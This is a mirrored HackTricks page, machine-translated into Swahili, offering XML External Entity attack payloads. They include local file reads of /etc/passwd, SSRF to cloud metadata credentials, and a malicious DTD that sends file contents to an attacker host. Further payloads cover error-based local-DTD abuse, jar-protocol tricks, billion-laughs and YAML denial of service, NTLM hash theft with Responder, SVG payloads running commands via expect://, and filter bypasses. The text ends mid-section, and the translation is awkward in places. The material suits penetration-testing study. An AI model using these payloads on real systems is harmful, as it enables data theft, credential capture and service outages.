mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 14:22:56 +00:00
703 lines
36 KiB
Markdown
703 lines
36 KiB
Markdown
# XXE - XEE - Kifaa cha Kigeni cha XML
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
## Msingi wa XML
|
|
|
|
XML ni lugha ya alama iliyoundwa kwa uhifadhi na usafirishaji wa data, ikionyesha muundo mpana unaoruhusu matumizi ya vitambulisho vilivyoelezwa kwa maelezo. Inatofautiana na HTML kwa kutokuwa na kikomo cha vitambulisho vilivyowekwa mapema. Umuhimu wa XML umepungua na kuibuka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
|
|
|
* **Uwakilishaji wa Data kupitia Vitu**: Vitu katika XML huwezesha uwakilishaji wa data, ikiwa ni pamoja na herufi maalum kama `<` na `>`, ambazo zinafaana na `<` na `>` ili kuepuka mgongano na mfumo wa vitambulisho vya XML.
|
|
* **Kuainisha Elementi za XML**: XML inaruhusu ufafanuzi wa aina za elementi, ikieleza jinsi elementi zinavyopaswa kuwa na muundo na yaliyomo wanayoweza kuwa nayo, kutoka aina yoyote ya yaliyomo hadi elementi maalum za watoto.
|
|
* **Ufafanuzi wa Aina ya Nyaraka (DTD)**: DTD ni muhimu katika XML kwa kuainisha muundo wa nyaraka na aina za data inaweza kuwa nayo. Wanaweza kuwa ndani, nje, au mchanganyiko, kuongoza jinsi nyaraka zinavyopangwa na kuhakikiwa.
|
|
* **Vitu za Kibinafsi na za Kigeni**: XML inasaidia uundaji wa vitu vya kibinafsi ndani ya DTD kwa uwakilishaji wa data wenye mpana. Vitu vya kigeni, vilivyoelezwa na URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya Vitu vya Kigeni vya XML (XXE), ambavyo huchexploit njia ambayo wapangaji wa XML wanashughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
|
* **Uchunguzi wa XXE na Vitu vya Parameta**: Kwa kugundua udhaifu wa XXE, hasa wakati njia za kawaida zinashindwa kutokana na hatua za usalama za wapangaji, vitu vya parameta vya XML vinaweza kutumika. Vitu hivi huruhusu mbinu za uchunguzi nje ya mtandao, kama kuzindua uchunguzi wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, kuthibitisha udhaifu.
|
|
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
|
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
|
|
|
## Mashambulizi Makuu
|
|
|
|
[**Mashambulizi mengi yalijaribiwa kwa kutumia maabara ya kushangaza ya Portswiggers XEE: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
|
|
|
### Jaribio la Kifaa Kipya
|
|
|
|
Katika shambulizi hili ninajaribu kama tangazo rahisi la KIFAA kipya linavyofanya kazi
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
|
<stockCheck>
|
|
<productId>&toreplace;</productId>
|
|
<storeId>1</storeId>
|
|
</stockCheck>
|
|
```
|
|
### Soma faili
|
|
|
|
Hebu jaribu kusoma `/etc/passwd` kwa njia tofauti. Kwa Windows unaweza kujaribu kusoma: `C:\windows\system32\drivers\etc\hosts`
|
|
|
|
Katika kesi hii ya kwanza, tafadhali kumbuka kwamba SYSTEM "_\*\*file:///\*\*etc/passwd_" pia itafanya kazi.
|
|
```xml
|
|
<!--?xml version="1.0" ?-->
|
|
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
|
<data>&example;</data>
|
|
```
|
|
Kesi hii ya pili inaweza kuwa na manufaa kutoa faili ikiwa seva ya wavuti inatumia PHP (Sio kesi ya Maabara ya Portswiggers)
|
|
```xml
|
|
<!--?xml version="1.0" ?-->
|
|
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
|
<data>&example;</data>
|
|
```
|
|
Katika kesi hii ya tatu, tafadhali kumbuka kwamba tunatangaza `Element stockCheck` kama ANY
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE data [
|
|
<!ELEMENT stockCheck ANY>
|
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
|
]>
|
|
<stockCheck>
|
|
<productId>&file;</productId>
|
|
<storeId>1</storeId>
|
|
</stockCheck3>
|
|
```
|
|
.png>)
|
|
|
|
### Orodha ya directory
|
|
|
|
Katika maombi yaliyojengwa kwa **Java** inaweza kuwa inawezekana **kuorodhesha maudhui ya directory** kupitia XXE na mzigo kama huu (kuuliza tu kwa directory badala ya faili):
|
|
```xml
|
|
<!-- Root / -->
|
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
|
|
|
<!-- /etc/ -->
|
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
|
|
```
|
|
### SSRF
|
|
|
|
XXE inaweza kutumika kudhuru SSRF ndani ya wingu
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
|
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
|
|
```
|
|
### Blind SSRF
|
|
|
|
Kwa kutumia **njia iliyotajwa hapo awali**, unaweza kufanya server ufikie server unayodhibiti ili kuonyesha kuwa ni dhaifu. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **viumbe vya XML haviruhusiwi**, katika kesi hiyo unaweza jaribu kutumia **viumbe vya parameta za XML**:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
|
```
|
|
### SSRF "Blind" - Toa data nje ya bandari
|
|
|
|
**Katika tukio hili tutafanya server kupakia DTD mpya na mzigo mbaya ambao utatuma maudhui ya faili kupitia ombi la HTTP (**kwa **faili za mistari nyingi unaweza kujaribu kuitoa kupitia** _**ftp://**_ kutumia server huu wa msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**maabara ya Portswigger hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
|
|
|
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa kutoa data:
|
|
|
|
### Mfano wa DTD Mbaya:
|
|
```xml
|
|
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
|
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
|
%eval;
|
|
%exfiltrate;
|
|
```
|
|
Hatua zilizotekelezwa na DTD hii ni:
|
|
|
|
1. **Ufafanuzi wa Vipengele vya Parameta:**
|
|
* Kipengele cha parameta cha XML, `%file`, kinaundwa, kusoma maudhui ya faili `/etc/hostname`.
|
|
* Kipengele kingine cha parameta cha XML, `%eval`, kinafafanuliwa. Kinafafanua kwa kudai kipengele kipya cha parameta cha XML, `%exfiltrate`. Kipengele cha `%exfiltrate` kinasanidiwa kufanya ombi la HTTP kwa seva ya muhusika, kupitisha maudhui ya kipengele cha `%file` ndani ya mfuatano wa query wa URL.
|
|
2. **Utekelezaji wa Vipengele:**
|
|
* Kipengele cha `%eval` kinatumika, kusababisha utekelezaji wa tangazo la kipengele cha `%exfiltrate`.
|
|
* Kipengele cha `%exfiltrate` kisha hutumiwa, kuzindua ombi la HTTP kwa URL iliyotajwa na maudhui ya faili.
|
|
|
|
Mshambuliaji huanzisha DTD hii yenye nia mbaya kwenye seva chini ya udhibiti wao, kawaida kwenye URL kama `http://web-attacker.com/malicious.dtd`.
|
|
|
|
**Mzigo wa XXE:** Ili kutumia programu inayoweza kudhurika, mshambuliaji hutoa mzigo wa XXE:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
|
```
|
|
Hii mzigo inadefine XML parameter entity `%xxe` na kuijumuisha ndani ya DTD. Wakati inapopitishwa na parser ya XML, hii mzigo inapata DTD ya nje kutoka kwenye server ya mshambuliaji. Kisha parser inachambua DTD kwa mstari, kutekeleza hatua zilizoelezwa kwenye DTD yenye nia mbaya na kusababisha kuvuja kwa faili ya `/etc/hostname` kwenye server ya mshambuliaji.
|
|
|
|
### Kulingana na Kosa (DTD ya Nje)
|
|
|
|
**Katika kesi hii, tutafanya server ipakie DTD yenye nia mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni sahihi tu ikiwa unaweza kuona ujumbe wa kosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
|
|
|
Ujumbe wa kosa wa uchambuzi wa XML, unaofunua maudhui ya faili ya `/etc/passwd`, unaweza kuzinduliwa kwa kutumia Document Type Definition (DTD) ya nje yenye nia mbaya. Hii inafanikishwa kupitia hatua zifuatazo:
|
|
|
|
1. Kipengele cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
|
2. Kipengele cha XML kinachoitwa `eval` kinafafanuliwa, kuijumuisha kauli ya kudai ya kipengele kingine cha XML kinachoitwa `error`. Kipengele hiki cha `error`, wakati kinachunguzwa, kinajaribu kupakia faili isiyopo, kuijumuisha maudhui ya kipengele cha `file` kama jina lake.
|
|
3. Kipengele cha `eval` kinaitwa, kusababisha kudai kwa kipengele cha `error`.
|
|
4. Wito wa kipengele cha `error` husababisha jaribio la kupakia faili isiyopo, kuzalisha ujumbe wa kosa ambao unajumuisha maudhui ya faili ya `/etc/passwd` kama sehemu ya jina la faili.
|
|
|
|
DTD ya nje yenye nia mbaya inaweza kuitwa kwa kutumia XML ifuatayo:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
|
```
|
|
### **Kosa Kulingana na (mfumo wa DTD)**
|
|
|
|
Kwa hivyo, ni nini kuhusu udhaifu wa XXE wa kipofu wakati **mwingiliano wa nje wa bandia umefungwa** (mawasiliano ya nje hayapatikani)?.
|
|
|
|
Hitilafu katika maelezo ya lugha ya XML inaweza **kufunua data nyeti kupitia ujumbe wa kosa wakati DTD ya hati inachanganya matangazo ya ndani na ya nje**. Shida hii inaruhusu upya wa ndani wa viungo vilivyotangazwa kwa nje, kurahisisha utekelezaji wa mashambulizi ya XXE yanayotokana na kosa. Mashambulizi kama hayo hufaidika na upya wa kipengele cha XML, kilichotangazwa awali katika DTD ya nje, kutoka ndani ya DTD ya ndani. Wakati mwingiliano wa nje unazuiliwa na seva, wachomaji lazima wategemee faili za DTD za ndani kufanya shambulizi, wakilenga kusababisha kosa la uparaganyaji kufunua habari nyeti.
|
|
|
|
Fikiria hali ambapo mfumo wa seva una faili ya DTD katika `/usr/local/app/schema.dtd`, ikidefiniisha kipengele kinachoitwa `custom_entity`. Mchomaji anaweza kusababisha kosa la uparaganyaji wa XML kufunua maudhui ya faili ya `/etc/passwd` kwa kuwasilisha DTD ya hibridi kama ifuatavyo:
|
|
```xml
|
|
<!DOCTYPE foo [
|
|
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
|
<!ENTITY % custom_entity '
|
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
|
|
%eval;
|
|
%error;
|
|
'>
|
|
%local_dtd;
|
|
]>
|
|
```
|
|
Hatua zilizoelezwa zinatekelezwa na DTD hii:
|
|
|
|
* Ufafanuzi wa kipengele cha parameter cha XML kinachoitwa `local_dtd` unajumuisha faili ya DTD ya nje iliyoko kwenye mfumo wa seva.
|
|
* Ubadilishaji unatokea kwa kipengele cha parameter cha XML kinachoitwa `custom_entity`, kilichoelezwa awali katika DTD ya nje, ili kufunga [shambulio la XXE kulingana na makosa](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ubadilishaji huu umepangwa kusababisha kosa la uchambuzi, kufunua maudhui ya faili ya `/etc/passwd`.
|
|
* Kwa kutumia kipengele cha `local_dtd`, DTD ya nje inatumika, ikijumuisha kipengele kilichofafanuliwa kwa upya cha `custom_entity`. Mfululizo huu wa hatua unasababisha kutolewa kwa ujumbe wa kosa uliolengwa na shambulio.
|
|
|
|
**Mfano halisi:** Mifumo inayotumia mazingira ya desktop ya GNOME mara nyingi ina DTD kwenye `/usr/share/yelp/dtd/docbookx.dtd` inayojumuisha kipengele kinachoitwa `ISOamso`
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
|
<!ENTITY % ISOamso '
|
|
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
|
|
%eval;
|
|
%error;
|
|
'>
|
|
%local_dtd;
|
|
]>
|
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
|
```
|
|
Kwa kuwa mbinu hii inatumia **DTD ya ndani unahitaji kwanza kupata moja inayofaa**. Unaweza kufanya hivi **kwa kusakinisha** **OS / Programu** ile ile inayotumiwa na seva na **kutafuta DTD za msingi**, au **kupata orodha** ya **DTD za msingi** ndani ya mifumo na **kuangalia** kama moja kati yao ipo:
|
|
```xml
|
|
<!DOCTYPE foo [
|
|
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
|
%local_dtd;
|
|
]>
|
|
```
|
|
Kwa maelezo zaidi angalia [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
|
|
|
### Kupata DTDs ndani ya mfumo
|
|
|
|
Katika repo ya github ya kushangaza ifuatayo unaweza kupata **njia za DTDs zinazoweza kuwepo katika mfumo**:
|
|
|
|
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
|
|
|
Zaidi ya hayo, ikiwa una **picha ya Docker ya mfumo wa mwathiriwa**, unaweza kutumia zana ya repo hiyo hiyo kufanya **uchunguzi** wa **picha** na **kupata** njia za **DTDs** zilizopo ndani ya mfumo. Soma [Soma maelezo ya github](https://github.com/GoSecure/dtd-finder) kujifunza jinsi.
|
|
```bash
|
|
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
|
|
|
Scanning TAR file /tmp/dadocker.tar
|
|
|
|
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
|
|
Testing 0 entities : []
|
|
|
|
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
|
Testing 0 entities : []
|
|
```
|
|
### XXE kupitia Wapambanuzi wa Ofisi ya Open XML
|
|
|
|
Kwa maelezo zaidi kuhusu shambulio hili, **angalia sehemu ya pili ya** [**chapisho hili la kushangaza**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **kutoka Detectify**.
|
|
|
|
Uwezo wa **kupakia nyaraka za Microsoft Office unatolewa na programu nyingi za wavuti**, ambazo kisha hufanya kazi ya kutoa maelezo fulani kutoka kwa nyaraka hizi. Kwa mfano, programu ya wavuti inaweza kuruhusu watumiaji kuagiza data kwa kupakia karatasi ya muundo wa XLSX. Ili kipambanuzi kutoe data kutoka kwenye karatasi ya muundo huo, italazimika kuchambua angalau faili moja ya XML.
|
|
|
|
Ili kuthibitisha udhaifu huu, ni lazima kuunda **faili ya Microsoft Office inayojumuisha mzigo wa XXE**. Hatua ya kwanza ni kuunda saraka tupu ambayo nyaraka inaweza kufunguliwa.
|
|
|
|
Baada ya nyaraka kufunguliwa, faili ya XML iliyoko kwenye `./unzipped/word/document.xml` inapaswa kufunguliwa na kuhaririwa kwa kutumia mhariri wa maandishi unaopendelewa (kama vile vim). XML inapaswa kuhaririwa ili kujumuisha mzigo wa XXE unaotakiwa, mara nyingi ukiwa na ombi la HTTP.
|
|
|
|
Mistari iliyohaririwa ya XML inapaswa kuwekwa kati ya vitu viwili vya mizizi ya XML. Ni muhimu kubadilisha URL na URL inayoweza kufuatiliwa kwa maombi.
|
|
|
|
Hatimaye, faili inaweza kufungwa ili kuunda faili ya poc.docx yenye nia mbaya. Kutoka kwenye saraka iliyoundwa hapo awali "unzipped", amri ifuatayo inapaswa kutumika:
|
|
|
|
Sasa, faili iliyoundwa inaweza kupakiwa kwenye programu ya wavuti inayoweza kuwa na udhaifu, na mtu anaweza kutumaini ombi litatokea katika magogo ya Burp Collaborator.
|
|
|
|
### Itifaki ya Jar
|
|
|
|
Itifaki ya **jar** inapatikana kipekee ndani ya **programu za Java**. Imetengenezwa kuruhusu ufikiaji wa faili ndani ya kiunzi cha **PKZIP** (k.m., `.zip`, `.jar`, n.k.), ikilenga faili za ndani na za mbali.
|
|
```
|
|
jar:file:///var/myarchive.zip!/file.txt
|
|
jar:https://download.host.com/myarchive.zip!/file.txt
|
|
```
|
|
{% hint style="danger" %}
|
|
Ili kuweza kupata faili ndani ya faili za PKZIP ni **muhimu sana kwa kutumia XXE kupitia faili za DTD za mfumo.** Angalia [sehemu hii kujifunza jinsi ya kutumia faili za DTD za mfumo](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
|
{% endhint %}
|
|
|
|
Mchakato wa kupata faili ndani ya kiwango cha PKZIP kupitia itifaki ya jar unajumuisha hatua kadhaa:
|
|
|
|
1. Ombi la HTTP linatolewa kupakua kiwango cha zip kutoka mahali maalum, kama vile `https://download.website.com/archive.zip`.
|
|
2. Majibu ya HTTP yanayoitikia kiwango hicho hukusanywa kwa muda kwenye mfumo, kawaida kwenye eneo kama `/tmp/...`.
|
|
3. Kiwango hicho kisha hukunjuliwa ili kupata maudhui yake.
|
|
4. Faili maalum ndani ya kiwango hicho, `file.zip`, inasomwa.
|
|
5. Baada ya operesheni, faili za muda zilizoundwa wakati wa mchakato huu hufutwa.
|
|
|
|
Mbinu ya kuvuruga mchakato huu katika hatua ya pili inajumuisha kuweka uhusiano wa seva ukiwa wazi milele wakati wa kutumikia faili ya kiwango. Zana zilizopo kwenye [hifadhi hii](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) zinaweza kutumika kwa madhumuni haya, ikiwa ni pamoja na seva ya Python (`slow_http_server.py`) na seva ya Java (`slowserver.jar`).
|
|
```xml
|
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
|
<foo>&xxe;</foo>
|
|
```
|
|
{% hint style="danger" %}
|
|
Kuandika faili katika saraka ya muda inaweza kusaidia **kuongeza udhaifu mwingine unaohusisha upitishaji wa njia** (kama vile kuingiza faili za ndani, kuingiza templeti, XSLT RCE, kufanya upya, nk).
|
|
{% endhint %}
|
|
|
|
### XSS
|
|
```xml
|
|
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
|
|
```
|
|
### DoS
|
|
|
|
#### Shambulizi la Bilioni ya Kicheko
|
|
```xml
|
|
<!DOCTYPE data [
|
|
<!ENTITY a0 "dos" >
|
|
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
|
|
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
|
|
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
|
|
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
|
|
]>
|
|
<data>&a4;</data>
|
|
```
|
|
#### Shambulizi la Yaml
|
|
```xml
|
|
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
|
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
|
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
|
|
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
|
|
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
|
|
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
|
|
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
|
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
|
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
|
```
|
|
#### Shambulio la Kuongezeka kwa Kipeo
|
|
|
|
.png>)
|
|
|
|
#### Kupata NTML
|
|
|
|
Kwenye mwenyeji wa Windows, inawezekana kupata hash ya NTML ya mtumiaji wa seva ya wavuti kwa kuweka kikokotoo cha responder.py:
|
|
```bash
|
|
Responder.py -I eth0 -v
|
|
```
|
|
na kwa kutuma ombi lifuatalo
|
|
```xml
|
|
<!--?xml version="1.0" ?-->
|
|
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
|
<data>&example;</data>
|
|
```
|
|
## Vipande vya XXE Vilivyofichwa
|
|
|
|
### XInclude
|
|
|
|
Wakati unapoingiza data ya mteja kwenye nyaraka za XML upande wa seva, kama vile zile katika maombi ya SOAP ya nyuma, udhibiti wa moja kwa moja juu ya muundo wa XML mara nyingi unakuwa mdogo, ukizuia mashambulizi ya kawaida ya XXE kutokana na vizuizi kwenye kuhariri kipengele cha `DOCTYPE`. Hata hivyo, shambulio la `XInclude` hutoa suluhisho kwa kuruhusu uingizaji wa vitengo vya nje ndani ya kipengele chochote cha data ya nyaraka ya XML. Mbinu hii ni yenye ufanisi hata wakati sehemu tu ya data ndani ya nyaraka ya XML iliyozalishwa na seva inaweza kudhibitiwa.
|
|
|
|
Ili kutekeleza shambulio la `XInclude`, jina la nafasi ya `XInclude` lazima itangazwe, na njia ya faili kwa kipengele cha nje kilichokusudiwa lazima itajwe. Hapa chini ni mfano wa kifupi jinsi shambulio kama hilo linavyoweza kuundwa:
|
|
```xml
|
|
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
|
```
|
|
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
|
|
|
|
### SVG - Kupakia Faili
|
|
|
|
Faili zilizopakiwa na watumiaji kwenye programu fulani, ambazo kisha hupitishwa kwenye seva, zinaweza kutumia mapungufu katika jinsi faili za XML au zinazoambatana na XML zinavyoshughulikiwa. Miundo ya faili ya kawaida kama nyaraka za ofisi (DOCX) na picha (SVG) inategemea XML.
|
|
|
|
Wakati watumiaji **wanapopakia picha**, picha hizi hupitishwa au kuthibitishwa upande wa seva. Hata kwa programu zinazotarajia miundo kama PNG au JPEG, **maktaba ya usindikaji wa picha ya seva inaweza pia kusaidia picha za SVG**. SVG, ikiwa ni muundo unaotegemea XML, inaweza kutumiwa na wachomaji kutekeleza picha za SVG zenye nia mbaya, hivyo kuweka seva wazi kwa mapungufu ya XXE (XML External Entity).
|
|
|
|
Mfano wa shambulio kama hilo unaweza kuonekana hapa chini, ambapo picha ya SVG yenye nia mbaya inajaribu kusoma faili za mfumo:
|
|
```xml
|
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
|
```
|
|
Metoda nyingine inahusisha kujaribu **kutekeleza amri** kupitia PHP "expect" wrapper:
|
|
```xml
|
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
|
<image xlink:href="expect://ls"></image>
|
|
</svg>
|
|
```
|
|
Katika hali zote, muundo wa SVG hutumiwa kuzindua mashambulizi yanayotumia uwezo wa usindikaji wa XML wa programu ya seva, ikisisitiza umuhimu wa ukaguzi thabiti wa data na hatua za usalama.
|
|
|
|
Angalia [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) kwa maelezo zaidi!
|
|
|
|
**Tafadhali kumbuka kwamba mstari wa kwanza wa faili iliyosomwa au matokeo ya utekelezaji yataonekana NDANI ya picha iliyoundwa. Kwa hivyo, unahitaji kuweza kupata picha ambayo SVG imeunda.**
|
|
|
|
### **PDF - Kuleta faili**
|
|
|
|
Soma chapisho lifuatalo kujifunza jinsi ya kutumia XXE kupakia faili ya PDF:
|
|
|
|
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
|
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Aina ya Yaliyomo: Kutoka x-www-urlencoded kwenda XML
|
|
|
|
Ikiwa ombi la POST linakubali data katika muundo wa XML, unaweza jaribu kutumia XXE katika ombi hilo. Kwa mfano, ikiwa ombi la kawaida lina yafuatayo:
|
|
```xml
|
|
POST /action HTTP/1.0
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 7
|
|
|
|
foo=bar
|
|
```
|
|
Kisha unaweza kuwasilisha ombi lifuatalo, na matokeo sawa:
|
|
```xml
|
|
POST /action HTTP/1.0
|
|
Content-Type: text/xml
|
|
Content-Length: 52
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
|
|
```
|
|
### Aina ya Yaliyomo: Kutoka JSON hadi XEE
|
|
|
|
Ili kubadilisha ombi unaweza kutumia Kifaa cha Burp kinachoitwa "**Mbadala wa Aina ya Yaliyomo**". [Hapa](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) unaweza kupata mfano huu:
|
|
```xml
|
|
Content-Type: application/json;charset=UTF-8
|
|
|
|
{"root": {"root": {
|
|
"firstName": "Avinash",
|
|
"lastName": "",
|
|
"country": "United States",
|
|
"city": "ddd",
|
|
"postalCode": "ddd"
|
|
}}}
|
|
```
|
|
|
|
```xml
|
|
Content-Type: application/xml;charset=UTF-8
|
|
|
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
|
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
|
|
<root>
|
|
<root>
|
|
<firstName>&xxe;</firstName>
|
|
<lastName/>
|
|
<country>United States</country>
|
|
<city>ddd</city>
|
|
<postalCode>ddd</postalCode>
|
|
</root>
|
|
</root>
|
|
```
|
|
Mfano mwingine unaweza kupatikana [hapa](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
|
|
|
## WAF & Mipito ya Kinga
|
|
|
|
### Base64
|
|
```xml
|
|
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
|
```
|
|
Hii inafanya kazi tu ikiwa seva ya XML inakubali itifaki ya `data://`.
|
|
|
|
### UTF-7
|
|
|
|
